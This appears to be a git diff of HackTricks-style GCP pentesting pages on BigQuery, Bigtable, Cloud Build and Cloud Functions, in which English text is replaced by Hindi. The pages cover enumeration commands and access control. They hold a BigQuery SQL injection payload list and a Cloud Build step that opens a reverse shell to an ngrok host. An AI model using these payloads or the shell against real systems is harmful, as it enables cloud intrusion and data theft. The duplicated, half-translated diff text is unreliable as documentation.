GRANT TO ('user:john@example.com',
|
||||
'group:sales-us@example.com',
|
||||
'group:sales-managers@example.com')
|
||||
'group:sales-us@example.com',
|
||||
'group:sales-managers@example.com')
|
||||
FILTER USING (region = 'US');
|
||||
|
||||
# Check the Post Exploitation tricks to see how to call this from the cli
|
||||
@@ -81,40 +78,34 @@ FILTER USING (region = 'US');
|
||||
# Enumerate row policies on a table
|
||||
bq ls --row_access_policies <proj>:<dataset>.<table> # Get row policies
|
||||
```
|
||||
|
||||
### Columns Access Control
|
||||
|
||||
<figure><img src="../../../images/image (12).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
To restrict data access at the column level:
|
||||
डेटा एक्सेस को कॉलम स्तर पर सीमित करने के लिए:
|
||||
|
||||
1. **Define a taxonomy and policy tags**. Create and manage a taxonomy and policy tags for your data. [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
|
||||
2. Optional: Grant the **Data Catalog Fine-Grained Reader role to one or more principals** on one or more of the policy tags you created.
|
||||
3. **Assign policy tags to your BigQuery columns**. In BigQuery, use schema annotations to assign a policy tag to each column where you want to restrict access.
|
||||
4. **Enforce access control on the taxonomy**. Enforcing access control causes the access restrictions defined for all of the policy tags in the taxonomy to be applied.
|
||||
5. **Manage access on the policy tags**. Use [Identity and Access Management](https://cloud.google.com/iam) (IAM) policies to restrict access to each policy tag. The policy is in effect for each column that belongs to the policy tag.
|
||||
1. **एक वर्गीकरण और नीति टैग परिभाषित करें**। अपने डेटा के लिए एक वर्गीकरण और नीति टैग बनाएं और प्रबंधित करें। [https://console.cloud.google.com/bigquery/policy-tags](https://console.cloud.google.com/bigquery/policy-tags)
|
||||
2. वैकल्पिक: **डेटा कैटलॉग फाइन-ग्रेन रीडर भूमिका को एक या अधिक प्रिंसिपल को सौंपें** जो आपने बनाए गए नीति टैग में से एक या अधिक पर हो।
|
||||
3. **अपने BigQuery कॉलम में नीति टैग असाइन करें**। BigQuery में, उन कॉलमों में नीति टैग असाइन करने के लिए स्कीमा एनोटेशन का उपयोग करें जहां आप एक्सेस को सीमित करना चाहते हैं।
|
||||
4. **वर्गीकरण पर एक्सेस नियंत्रण लागू करें**। एक्सेस नियंत्रण लागू करने से वर्गीकरण में सभी नीति टैग के लिए परिभाषित एक्सेस प्रतिबंध लागू होते हैं।
|
||||
5. **नीति टैग पर एक्सेस प्रबंधित करें**। प्रत्येक नीति टैग तक पहुंच को सीमित करने के लिए [पहचान और एक्सेस प्रबंधन](https://cloud.google.com/iam) (IAM) नीतियों का उपयोग करें। नीति उस प्रत्येक कॉलम के लिए प्रभावी है जो नीति टैग से संबंधित है।
|
||||
|
||||
When a user tries to access column data at query time, BigQuery **checks the column policy tag and its policy to see whether the user is authorized to access the data**.
|
||||
जब कोई उपयोगकर्ता क्वेरी समय पर कॉलम डेटा तक पहुंचने की कोशिश करता है, तो BigQuery **उपयोगकर्ता को डेटा तक पहुंचने के लिए अधिकृत है या नहीं यह देखने के लिए कॉलम नीति टैग और इसकी नीति की जांच करता है**।
|
||||
|
||||
> [!TIP]
|
||||
> As summary, to restrict the access to some columns to some users, you can **add a tag to the column in the schema and restrict the access** of the users to the tag enforcing access control on the taxonomy of the tag.
|
||||
|
||||
To enforce access control on the taxonomy it's needed to enable the service:
|
||||
> संक्षेप में, कुछ कॉलमों तक कुछ उपयोगकर्ताओं की पहुंच को सीमित करने के लिए, आप **स्कीमा में कॉलम पर एक टैग जोड़ सकते हैं और उपयोगकर्ताओं की टैग तक पहुंच को सीमित कर सकते हैं, जो टैग के वर्गीकरण पर एक्सेस नियंत्रण लागू करता है**।
|
||||
|
||||
वर्गीकरण पर एक्सेस नियंत्रण लागू करने के लिए सेवा को सक्षम करना आवश्यक है:
|
||||
```bash
|
||||
gcloud services enable bigquerydatapolicy.googleapis.com
|
||||
```
|
||||
|
||||
It's possible to see the tags of columns with:
|
||||
|
||||
यह संभव है कि आप कॉलम के टैग देख सकें:
|
||||
```bash
|
||||
bq show --schema <proj>:<dataset>.<table>
|
||||
|
||||
[{"name":"username","type":"STRING","mode":"NULLABLE","policyTags":{"names":["projects/.../locations/us/taxonomies/2030629149897327804/policyTags/7703453142914142277"]},"maxLength":"20"},{"name":"age","type":"INTEGER","mode":"NULLABLE"}]
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
### गणना
|
||||
```bash
|
||||
# Dataset info
|
||||
bq ls # List datasets
|
||||
@@ -153,81 +144,70 @@ bq show --location=<location> show --format=prettyjson --job=true <job-id>
|
||||
# Misc
|
||||
bq show --encryption_service_account # Get encryption service account
|
||||
```
|
||||
|
||||
### BigQuery SQL Injection
|
||||
|
||||
For further information you can check the blog post: [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac). Here just some details are going to be given.
|
||||
अधिक जानकारी के लिए आप ब्लॉग पोस्ट देख सकते हैं: [https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac](https://ozguralp.medium.com/bigquery-sql-injection-cheat-sheet-65ad70e11eac). यहाँ केवल कुछ विवरण दिए जा रहे हैं।
|
||||
|
||||
**Comments**:
|
||||
|
||||
- `select 1#from here it is not working`
|
||||
- `select 1/*between those it is not working*/` But just the initial one won't work
|
||||
- `select 1/*between those it is not working*/` लेकिन केवल प्रारंभिक एक काम नहीं करेगा
|
||||
- `select 1--from here it is not working`
|
||||
|
||||
Get **information** about the **environment** such as:
|
||||
**environment** के बारे में **information** प्राप्त करें जैसे:
|
||||
|
||||
- Current user: `select session_user()`
|
||||
- Project id: `select @@project_id`
|
||||
- वर्तमान उपयोगकर्ता: `select session_user()`
|
||||
- प्रोजेक्ट आईडी: `select @@project_id`
|
||||
|
||||
Concat rows:
|
||||
पंक्तियों को जोड़ें:
|
||||
|
||||
- All table names: `string_agg(table_name, ', ')`
|
||||
- सभी तालिका नाम: `string_agg(table_name, ', ')`
|
||||
|
||||
Get **datasets**, **tables** and **column** names:
|
||||
|
||||
- **Project** and **dataset** name:
|
||||
**datasets**, **tables** और **column** नाम प्राप्त करें:
|
||||
|
||||
- **Project** और **dataset** नाम:
|
||||
```sql
|
||||
SELECT catalog_name, schema_name FROM INFORMATION_SCHEMA.SCHEMATA
|
||||
```
|
||||
|
||||
- **Column** and **table** names of **all the tables** of the dataset:
|
||||
|
||||
- **सभी तालिकाओं** के **स्तंभ** और **तालिका** नाम:
|
||||
```sql
|
||||
# SELECT table_name, column_name FROM <proj-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
|
||||
|
||||
SELECT table_name, column_name FROM <project-name>.<dataset-name>.INFORMATION_SCHEMA.COLUMNS
|
||||
```
|
||||
|
||||
- **Other datasets** in the same project:
|
||||
|
||||
- **एक ही प्रोजेक्ट में अन्य डेटासेट:**
|
||||
```sql
|
||||
# SELECT catalog_name, schema_name, FROM <proj-name>.INFORMATION_SCHEMA.SCHEMATA
|
||||
|
||||
SELECT catalog_name, schema_name, NULL FROM <project-name>.INFORMATION_SCHEMA.SCHEMATA
|
||||
```
|
||||
**SQL Injection प्रकार:**
|
||||
|
||||
**SQL Injection types:**
|
||||
- त्रुटि आधारित - कास्टिंग: `select CAST(@@project_id AS INT64)`
|
||||
- त्रुटि आधारित - शून्य द्वारा विभाजन: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
|
||||
- यूनियन आधारित (आपको bigquery में ALL का उपयोग करना होगा): `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
|
||||
- बूलियन आधारित: `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``
|
||||
- संभावित समय आधारित - सार्वजनिक डेटासेट का उपयोग उदाहरण: `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 ``
|
||||
|
||||
- Error based - casting: `select CAST(@@project_id AS INT64)`
|
||||
- Error based - division by zero: `' OR if(1/(length((select('a')))-1)=1,true,false) OR '`
|
||||
- Union based (you need to use ALL in bigquery): `UNION ALL SELECT (SELECT @@project_id),1,1,1,1,1,1)) AS T1 GROUP BY column_name#`
|
||||
- Boolean based: `` ' WHERE SUBSTRING((select column_name from `project_id.dataset_name.table_name` limit 1),1,1)='A'# ``
|
||||
- Potential time based - Usage of public datasets example: `` SELECT * FROM `bigquery-public-data.covid19_open_data.covid19_open_data` LIMIT 1000 ``
|
||||
**दस्तावेज़ीकरण:**
|
||||
|
||||
**Documentation:**
|
||||
- सभी फ़ंक्शन सूची: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
|
||||
- स्क्रिप्टिंग कथन: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)
|
||||
|
||||
- All function list: [https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators](https://cloud.google.com/bigquery/docs/reference/standard-sql/functions-and-operators)
|
||||
- Scripting statements: [https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting](https://cloud.google.com/bigquery/docs/reference/standard-sql/scripting)
|
||||
|
||||
### Privilege Escalation & Post Exploitation
|
||||
### विशेषाधिकार वृद्धि & पोस्ट शोषण
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-bigquery-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Persistence
|
||||
### स्थिरता
|
||||
|
||||
{{#ref}}
|
||||
../gcp-persistence/gcp-bigquery-persistence.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
## संदर्भ
|
||||
|
||||
- [https://cloud.google.com/bigquery/docs/column-level-security-intro](https://cloud.google.com/bigquery/docs/column-level-security-intro)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,8 +4,7 @@
|
||||
|
||||
## [Bigtable](https://cloud.google.com/sdk/gcloud/reference/bigtable/) <a href="#cloud-bigtable" id="cloud-bigtable"></a>
|
||||
|
||||
A fully managed, scalable NoSQL database service for large analytical and operational workloads with up to 99.999% availability. [Learn more](https://cloud.google.com/bigtable).
|
||||
|
||||
एक पूरी तरह से प्रबंधित, स्केलेबल NoSQL डेटाबेस सेवा जो बड़े विश्लेषणात्मक और परिचालन कार्यभार के लिए 99.999% उपलब्धता तक है। [अधिक जानें](https://cloud.google.com/bigtable).
|
||||
```bash
|
||||
# Cloud Bigtable
|
||||
gcloud bigtable instances list
|
||||
@@ -28,9 +27,4 @@ gcloud bigtable hot-tablets list
|
||||
gcloud bigtable app-profiles list --instance <INSTANCE>
|
||||
gcloud bigtable app-profiles describe --instance <INSTANCE> <app-prof>
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,104 +4,99 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Google Cloud Build is a managed CI/CD platform that **automates software build** and release processes, integrating with **source code repositories** and supporting a wide range of programming languages. It **allows developers to build, test, and deploy code automatically** while providing flexibility to customize build steps and workflows.
|
||||
Google Cloud Build एक प्रबंधित CI/CD प्लेटफ़ॉर्म है जो **सॉफ़्टवेयर निर्माण** और रिलीज़ प्रक्रियाओं को स्वचालित करता है, **स्रोत कोड रिपॉजिटरी** के साथ एकीकृत होता है और विभिन्न प्रोग्रामिंग भाषाओं का समर्थन करता है। यह **डेवलपर्स को स्वचालित रूप से कोड बनाने, परीक्षण करने और तैनात करने** की अनुमति देता है जबकि निर्माण चरणों और कार्यप्रवाहों को अनुकूलित करने की लचीलापन प्रदान करता है।
|
||||
|
||||
Each Cloud Build Trigger is **related to a Cloud Repository or directly connected with an external repository** (Github, Bitbucket and Gitlab).
|
||||
प्रत्येक Cloud Build Trigger **एक Cloud Repository से संबंधित है या सीधे एक बाहरी रिपॉजिटरी** (Github, Bitbucket और Gitlab) से जुड़ा हुआ है।
|
||||
|
||||
> [!TIP]
|
||||
> I couldn't see any way to steal the Github/Bitbucket token from here or from Cloud Repositories because when the repo is downloaded it's accessed via a [https://source.cloud.google.com/](https://source.cloud.google.com/) URL and Github is not accessed by the client.
|
||||
> मैं यहाँ या Cloud Repositories से Github/Bitbucket टोकन चुराने का कोई तरीका नहीं देख सका क्योंकि जब रिपॉजिटरी डाउनलोड की जाती है, तो इसे [https://source.cloud.google.com/](https://source.cloud.google.com/) URL के माध्यम से एक्सेस किया जाता है और Github क्लाइंट द्वारा एक्सेस नहीं किया जाता है।
|
||||
|
||||
### Events
|
||||
|
||||
The Cloud Build can be triggered if:
|
||||
Cloud Build को ट्रिगर किया जा सकता है यदि:
|
||||
|
||||
- **Push to a branch**: Specify the branch
|
||||
- **Push a new tag**: Specify the tag
|
||||
- P**ull request**: Specify the branch that receives the PR
|
||||
- **Manual Invocation**
|
||||
- **Pub/Sub message:** Specify the topic
|
||||
- **Webhook event**: Will expose a HTTPS URL and the request must be authenticated with a secret
|
||||
- **एक शाखा पर पुश करें**: शाखा निर्दिष्ट करें
|
||||
- **एक नया टैग पुश करें**: टैग निर्दिष्ट करें
|
||||
- P**ull request**: उस शाखा को निर्दिष्ट करें जो PR प्राप्त करती है
|
||||
- **मैनुअल इनवोकेशन**
|
||||
- **Pub/Sub संदेश:** विषय निर्दिष्ट करें
|
||||
- **Webhook घटना**: HTTPS URL को उजागर करेगा और अनुरोध को एक गुप्त के साथ प्रमाणित किया जाना चाहिए
|
||||
|
||||
### Execution
|
||||
|
||||
There are 3 options:
|
||||
यहाँ 3 विकल्प हैं:
|
||||
|
||||
- A yaml/json **specifying the commands** to execute. Usually: `/cloudbuild.yaml`
|
||||
- Only one that can be specified “inline” in the web console and in the cli
|
||||
- Most common option
|
||||
- Relevant for unauthenticated access
|
||||
- A **Dockerfile** to build
|
||||
- A **Buildpack** to build
|
||||
- एक yaml/json **कमांड को निर्दिष्ट करने के लिए।** आमतौर पर: `/cloudbuild.yaml`
|
||||
- केवल एक जो वेब कंसोल और CLI में "इनलाइन" निर्दिष्ट किया जा सकता है
|
||||
- सबसे सामान्य विकल्प
|
||||
- प्रमाणीकरण रहित पहुंच के लिए प्रासंगिक
|
||||
- एक **Dockerfile** बनाने के लिए
|
||||
- एक **Buildpack** बनाने के लिए
|
||||
|
||||
### SA Permissions
|
||||
|
||||
The **Service Account has the `cloud-platform` scope**, so it can **use all the privileges.** If **no SA is specified** (like when doing submit) the **default SA** `<proj-number>@cloudbuild.gserviceaccount.com` will be **used.**
|
||||
**Service Account का `cloud-platform` स्कोप है**, इसलिए यह **सभी विशेषाधिकारों का उपयोग कर सकता है।** यदि **कोई SA निर्दिष्ट नहीं है** (जैसे जब सबमिट कर रहे हैं) तो **डिफ़ॉल्ट SA** `<proj-number>@cloudbuild.gserviceaccount.com` का **उपयोग किया जाएगा।**
|
||||
|
||||
By default no permissions are given but it's fairly easy to give it some:
|
||||
डिफ़ॉल्ट रूप से कोई अनुमतियाँ नहीं दी जाती हैं लेकिन इसे कुछ देना काफी आसान है:
|
||||
|
||||
<figure><img src="../../../images/image (16).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Approvals
|
||||
|
||||
It's possible to config a Cloud Build to **require approvals for build executions** (disabled by default).
|
||||
यह संभव है कि एक Cloud Build को **निर्माण निष्पादन के लिए अनुमतियों की आवश्यकता** के लिए कॉन्फ़िगर किया जाए (डिफ़ॉल्ट रूप से अक्षम)।
|
||||
|
||||
### PR Approvals
|
||||
|
||||
When the trigger is PR because **anyone can perform PRs to public repositories** it would be very dangerous to just **allow the execution of the trigger with any PR**. Therefore, by default, the execution will only be **automatic for owners and collaborators**, and in order to execute the trigger with other users PRs an owner or collaborator must comment `/gcbrun`.
|
||||
जब ट्रिगर PR होता है क्योंकि **कोई भी सार्वजनिक रिपॉजिटरी पर PR कर सकता है** तो केवल **किसी भी PR के साथ ट्रिगर के निष्पादन की अनुमति देना बहुत खतरनाक होगा।** इसलिए, डिफ़ॉल्ट रूप से, निष्पादन केवल **स्वामियों और सहयोगियों के लिए स्वचालित होगा**, और अन्य उपयोगकर्ताओं के PRs के साथ ट्रिगर को निष्पादित करने के लिए एक स्वामी या सहयोगी को `/gcbrun` टिप्पणी करनी होगी।
|
||||
|
||||
<figure><img src="../../../images/image (339).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
### Connections & Repositories
|
||||
|
||||
Connections can be created over:
|
||||
कनेक्शन निम्नलिखित पर बनाए जा सकते हैं:
|
||||
|
||||
- **GitHub:** It will show an OAuth prompt asking for permissions to **get a Github token** that will be stored inside the **Secret Manager.**
|
||||
- **GitHub Enterprise:** It will ask to install a **GithubApp**. An **authentication token** from your GitHub Enterprise host will be created and stored in this project as a S**ecret Manager** secret.
|
||||
- **GitLab / Enterprise:** You need to **provide the API access token and the Read API access toke**n which will stored in the **Secret Manager.**
|
||||
- **GitHub:** यह **Github टोकन प्राप्त करने** के लिए अनुमतियों के लिए OAuth प्रॉम्प्ट दिखाएगा जो **Secret Manager** के अंदर संग्रहीत किया जाएगा।
|
||||
- **GitHub Enterprise:** यह एक **GithubApp** स्थापित करने के लिए कहेगा। आपके GitHub Enterprise होस्ट से एक **प्रमाणीकरण टोकन** बनाया जाएगा और इस प्रोजेक्ट में एक S**ecret Manager** गुप्त के रूप में संग्रहीत किया जाएगा।
|
||||
- **GitLab / Enterprise:** आपको **API एक्सेस टोकन और पढ़ने के लिए API एक्सेस टोकन** प्रदान करने की आवश्यकता है जो **Secret Manager** में संग्रहीत किया जाएगा।
|
||||
|
||||
Once a connection is generated, you can use it to **link repositories that the Github account has access** to.
|
||||
एक बार कनेक्शन उत्पन्न होने के बाद, आप इसका उपयोग **उन रिपॉजिटरी को लिंक करने के लिए कर सकते हैं जिनका Github खाता तक पहुंच है।**
|
||||
|
||||
This option is available through the button:
|
||||
यह विकल्प बटन के माध्यम से उपलब्ध है:
|
||||
|
||||
<figure><img src="../../../images/image (17).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Note that repositories connected with this method are **only available in Triggers using 2nd generation.**
|
||||
> ध्यान दें कि इस विधि से जुड़े रिपॉजिटरी **केवल 2nd पीढ़ी के ट्रिगर्स में उपलब्ध हैं।**
|
||||
|
||||
### Connect a Repository
|
||||
|
||||
This is not the same as a **`connection`**. This allows **different** ways to get **access to a Github or Bitbucket** repository but **doesn't generate a connection object, but it does generate a repository object (of 1st generation).**
|
||||
यह **`connection`** के समान नहीं है। यह **Github या Bitbucket** रिपॉजिटरी तक पहुंच प्राप्त करने के लिए **विभिन्न** तरीकों की अनुमति देता है लेकिन **एक कनेक्शन ऑब्जेक्ट उत्पन्न नहीं करता है, बल्कि यह एक रिपॉजिटरी ऑब्जेक्ट (1st पीढ़ी का) उत्पन्न करता है।**
|
||||
|
||||
This option is available through the button:
|
||||
यह विकल्प बटन के माध्यम से उपलब्ध है:
|
||||
|
||||
<figure><img src="../../../images/image (18).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Storage
|
||||
|
||||
Sometimes Cloud Build will **generate a new storage to store the files for the trigger**. This happens for example in the example that GCP offers with:
|
||||
|
||||
कभी-कभी Cloud Build **ट्रिगर के लिए फ़ाइलों को संग्रहीत करने के लिए एक नया स्टोरेज उत्पन्न करेगा।** यह उदाहरण के लिए उस उदाहरण में होता है जो GCP प्रदान करता है:
|
||||
```bash
|
||||
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
|
||||
cd cloud-console-sample-build && \
|
||||
gcloud builds submit --config cloudbuild.yaml --region=global
|
||||
cd cloud-console-sample-build && \
|
||||
gcloud builds submit --config cloudbuild.yaml --region=global
|
||||
```
|
||||
|
||||
A Storage bucket called [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) is created to store a `.tgz` with the files to be used.
|
||||
एक स्टोरेज बकेट जिसे [security-devbox_cloudbuild](https://console.cloud.google.com/storage/browser/security-devbox_cloudbuild;tab=objects?forceOnBucketsSortingFiltering=false&project=security-devbox) कहा जाता है, `.tgz` फ़ाइलों को स्टोर करने के लिए बनाया गया है जो उपयोग की जाने वाली हैं।
|
||||
|
||||
### Get shell
|
||||
|
||||
```yaml
|
||||
steps:
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
|
||||
- name: bash
|
||||
script: |
|
||||
#!/usr/bin/env bash
|
||||
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
|
||||
options:
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
logging: CLOUD_LOGGING_ONLY
|
||||
```
|
||||
|
||||
Install gcloud inside cloud build:
|
||||
|
||||
gcloud को क्लाउड बिल्ड के अंदर इंस्टॉल करें:
|
||||
```bash
|
||||
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
|
||||
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
|
||||
@@ -109,11 +104,9 @@ mkdir -p /usr/local/gcloud
|
||||
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
|
||||
/usr/local/gcloud/google-cloud-sdk/install.sh
|
||||
```
|
||||
|
||||
### Enumeration
|
||||
|
||||
You could find **sensitive info in build configs and logs**.
|
||||
|
||||
आप **बिल्ड कॉन्फ़िग्स और लॉग्स में संवेदनशील जानकारी** पा सकते हैं।
|
||||
```bash
|
||||
# Get configured triggers configurations
|
||||
gcloud builds triggers list # Check for the words github and bitbucket
|
||||
@@ -127,49 +120,44 @@ gcloud builds log <build-uuid> # Get build logs
|
||||
# List all connections of each region
|
||||
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
|
||||
for region in $regions; do
|
||||
echo "Listing build connections in region: $region"
|
||||
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
|
||||
if [[ ${#connections[@]} -eq 0 ]]; then
|
||||
echo "No connections found in region $region."
|
||||
else
|
||||
for connection in $connections; do
|
||||
echo "Describing connection $connection in region $region"
|
||||
gcloud builds connections describe "$connection" --region="$region"
|
||||
echo "-----------------------------------------"
|
||||
done
|
||||
fi
|
||||
echo "========================================="
|
||||
echo "Listing build connections in region: $region"
|
||||
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
|
||||
if [[ ${#connections[@]} -eq 0 ]]; then
|
||||
echo "No connections found in region $region."
|
||||
else
|
||||
for connection in $connections; do
|
||||
echo "Describing connection $connection in region $region"
|
||||
gcloud builds connections describe "$connection" --region="$region"
|
||||
echo "-----------------------------------------"
|
||||
done
|
||||
fi
|
||||
echo "========================================="
|
||||
done
|
||||
|
||||
# List all worker-pools
|
||||
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
|
||||
for region in $regions; do
|
||||
echo "Listing build worker-pools in region: $region"
|
||||
gcloud builds worker-pools list --region="$region"
|
||||
echo "-----------------------------------------"
|
||||
echo "Listing build worker-pools in region: $region"
|
||||
gcloud builds worker-pools list --region="$region"
|
||||
echo "-----------------------------------------"
|
||||
done
|
||||
```
|
||||
|
||||
### Privilege Escalation
|
||||
### विशेषाधिकार वृद्धि
|
||||
|
||||
{{#ref}}
|
||||
../gcp-privilege-escalation/gcp-cloudbuild-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Unauthenticated Access
|
||||
### बिना प्रमाणीकरण के पहुंच
|
||||
|
||||
{{#ref}}
|
||||
../gcp-unauthenticated-enum-and-access/gcp-cloud-build-unauthenticated-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Post Exploitation
|
||||
### पोस्ट एक्सप्लॉइटेशन
|
||||
|
||||
{{#ref}}
|
||||
../gcp-post-exploitation/gcp-cloud-build-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,25 +4,25 @@
|
||||
|
||||
## Cloud Functions <a href="#reviewing-cloud-functions" id="reviewing-cloud-functions"></a>
|
||||
|
||||
[Google Cloud Functions](https://cloud.google.com/functions/) are designed to host your code, which **gets executed in response to events**, without necessitating the management of a host operating system. Additionally, these functions support the storage of environment variables, which the code can utilize.
|
||||
[Google Cloud Functions](https://cloud.google.com/functions/) आपके कोड को होस्ट करने के लिए डिज़ाइन किए गए हैं, जो **घटनाओं के जवाब में निष्पादित होता है**, बिना होस्ट ऑपरेटिंग सिस्टम के प्रबंधन की आवश्यकता के। इसके अतिरिक्त, ये फ़ंक्शन पर्यावरण चर के भंडारण का समर्थन करते हैं, जिसका उपयोग कोड कर सकता है।
|
||||
|
||||
### Storage
|
||||
|
||||
The Cloud Functions **code is stored in GCP Storage**. Therefore, anyone with **read access over buckets** in GCP is going to be able to **read the Cloud Functions code**.\
|
||||
The code is stored in a bucket like one of the following:
|
||||
Cloud Functions **कोड GCP Storage में संग्रहीत होता है**। इसलिए, GCP में **बकेट पर पढ़ने की पहुंच** रखने वाला कोई भी व्यक्ति **Cloud Functions कोड को पढ़ सकेगा**।\
|
||||
कोड एक बकेट में निम्नलिखित में से एक की तरह संग्रहीत होता है:
|
||||
|
||||
- `gcf-sources-<number>-<region>/<function-name>-<uuid>/version-<n>/function-source.zip`
|
||||
- `gcf-v2-sources-<number>-<region>/<function-name>function-source.zip`
|
||||
|
||||
For example:\
|
||||
उदाहरण के लिए:\
|
||||
`gcf-sources-645468741258-us-central1/function-1-003dcbdf-32e1-430f-a5ff-785a6e238c76/version-4/function-source.zip`
|
||||
|
||||
> [!WARNING]
|
||||
> Any user with **read privileges over the bucket** storing the Cloud Function could **read the executed code**.
|
||||
> Cloud Function को संग्रहीत करने वाले **बकेट पर पढ़ने के अधिकार** रखने वाला कोई भी उपयोगकर्ता **निष्पादित कोड को पढ़ सकता है**।
|
||||
|
||||
### Artifact Registry
|
||||
|
||||
If the cloud function is configured so the executed Docker container is stored inside and Artifact Registry repo inside the project, anyway with read access over the repo will be able to download the image and check the source code. For more info check:
|
||||
यदि क्लाउड फ़ंक्शन इस तरह से कॉन्फ़िगर किया गया है कि निष्पादित Docker कंटेनर प्रोजेक्ट के अंदर एक Artifact Registry रिपॉजिटरी के अंदर संग्रहीत है, तो किसी भी व्यक्ति के पास रिपॉजिटरी पर पढ़ने की पहुंच होगी, वह छवि डाउनलोड कर सकता है और स्रोत कोड की जांच कर सकता है। अधिक जानकारी के लिए देखें:
|
||||
|
||||
{{#ref}}
|
||||
gcp-artifact-registry-enum.md
|
||||
@@ -30,26 +30,25 @@ gcp-artifact-registry-enum.md
|
||||
|
||||
### SA
|
||||
|
||||
If not specified, by default the **App Engine Default Service Account** with **Editor permissions** over the project will be attached to the Cloud Function.
|
||||
यदि निर्दिष्ट नहीं किया गया है, तो डिफ़ॉल्ट रूप से **App Engine Default Service Account** को **प्रोजेक्ट पर संपादक अनुमतियों** के साथ Cloud Function से जोड़ा जाएगा।
|
||||
|
||||
### Triggers, URL & Authentication
|
||||
|
||||
When a Cloud Function is created the **trigger** needs to be specified. One common one is **HTTPS**, this will **create an URL where the function** can be triggered via web browsing.\
|
||||
Other triggers are pub/sub, Storage, Filestore...
|
||||
जब एक Cloud Function बनाई जाती है, तो **trigger** को निर्दिष्ट करना आवश्यक है। एक सामान्य ट्रिगर **HTTPS** है, यह **एक URL बनाएगा जहां फ़ंक्शन** को वेब ब्राउज़िंग के माध्यम से ट्रिगर किया जा सकता है।\
|
||||
अन्य ट्रिगर्स हैं pub/sub, Storage, Filestore...
|
||||
|
||||
The URL format is **`https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`**
|
||||
URL प्रारूप है **`https://<region>-<project-gcp-name>.cloudfunctions.net/<func_name>`**
|
||||
|
||||
When the HTTPS tigger is used, it's also indicated if the **caller needs to have IAM authorization** to call the Function or if **everyone** can just call it:
|
||||
जब HTTPS ट्रिगर का उपयोग किया जाता है, तो यह भी संकेतित किया जाता है कि **कॉलर को फ़ंक्शन को कॉल करने के लिए IAM प्राधिकरण की आवश्यकता है** या यदि **कोई भी** इसे बस कॉल कर सकता है:
|
||||
|
||||
<figure><img src="../../../images/image (19).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### Inside the Cloud Function
|
||||
|
||||
The code is **downloaded inside** the folder **`/workspace`** with the same file names as the ones the files have in the Cloud Function and is executed with the user `www-data`.\
|
||||
The disk **isn't mounted as read-only.**
|
||||
कोड **`/workspace`** फ़ोल्डर के अंदर **डाउनलोड किया जाता है** जिसमें फ़ाइलों के वही फ़ाइल नाम होते हैं जो Cloud Function में फ़ाइलों के होते हैं और इसे उपयोगकर्ता `www-data` के साथ निष्पादित किया जाता है।\
|
||||
डिस्क **पढ़ने के लिए केवल माउंट नहीं किया गया है।**
|
||||
|
||||
### Enumeration
|
||||
|
||||
```bash
|
||||
# List functions
|
||||
gcloud functions list
|
||||
@@ -74,39 +73,34 @@ curl -X POST https://<region>-<project>.cloudfunctions.net/<func_name> \
|
||||
-H "Content-Type: application/json" \
|
||||
-d '{}'
|
||||
```
|
||||
### विशेषाधिकार वृद्धि
|
||||
|
||||
### Privilege Escalation
|
||||
|
||||
In the following page, you can check how to **abuse cloud function permissions to escalate privileges**:
|
||||
अगली पृष्ठ पर, आप देख सकते हैं कि कैसे **क्लाउड फ़ंक्शन अनुमतियों का दुरुपयोग करके विशेषाधिकार बढ़ाए जाएं**:
|
